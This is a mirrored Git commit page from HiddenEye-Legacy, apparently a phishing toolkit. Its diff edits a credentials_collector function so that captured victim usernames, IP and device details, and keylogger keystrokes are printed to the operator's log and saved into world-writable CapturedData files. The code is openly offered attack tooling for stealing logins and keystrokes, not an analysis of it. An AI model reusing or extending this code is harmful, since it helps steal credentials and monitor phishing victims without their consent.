mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Fixed small credentials bug
This commit is contained in:
parent
d315f80afa
commit
02a383b625
|
@ -97,7 +97,7 @@ def credentials_collector(port):
|
|||
with open('Server/www/usernames.txt') as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}lines{1}".format(default_palette[2], default_palette[3]))
|
||||
log_writer(localization.lang_credentials_collector["credentials_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
#run_command("touch Server/CapturedData/usernames.txt
|
||||
pathlib_Path("Server/CapturedData/usernames.txt").touch(mode=0o777, exist_ok=True)
|
||||
|
||||
|
@ -118,7 +118,7 @@ def credentials_collector(port):
|
|||
with open('Server/www/ip.txt') as creds:
|
||||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}lines{1}".format(default_palette[2], default_palette[3]))
|
||||
log_writer(localization.lang_credentials_collector["device_details_found"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
#run_command('touch Server/CapturedData/ip.txt
|
||||
pathlib_Path("Server/CapturedData/ip.txt").touch(mode=0o777, exist_ok=True)
|
||||
# && cat Server/www/ip.txt >> Server/CapturedData/ip.txt
|
||||
|
@ -142,7 +142,7 @@ def credentials_collector(port):
|
|||
lines = creds.read().rstrip()
|
||||
if len(lines) != 0:
|
||||
log_writer(global_localization.line_of_dots)
|
||||
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}lines{1}".format(default_palette[2], default_palette[3]))
|
||||
log_writer(localization.lang_credentials_collector["getting_pressed_keys"] + "{0}{2}{1}".format(default_palette[2], default_palette[3], lines))
|
||||
#run_command('touch Server/CapturedData/KeyloggerData.txt
|
||||
pathlib_Path('Server/CapturedData/KeyloggerData.txt').touch(mode=0o777, exist_ok=True)
|
||||
# && cat Server/www/KeyloggerData.txt >> Server/CapturedData/KeyloggerData.txt
|
||||
|
|
Loading…
Reference in New Issue
Block a user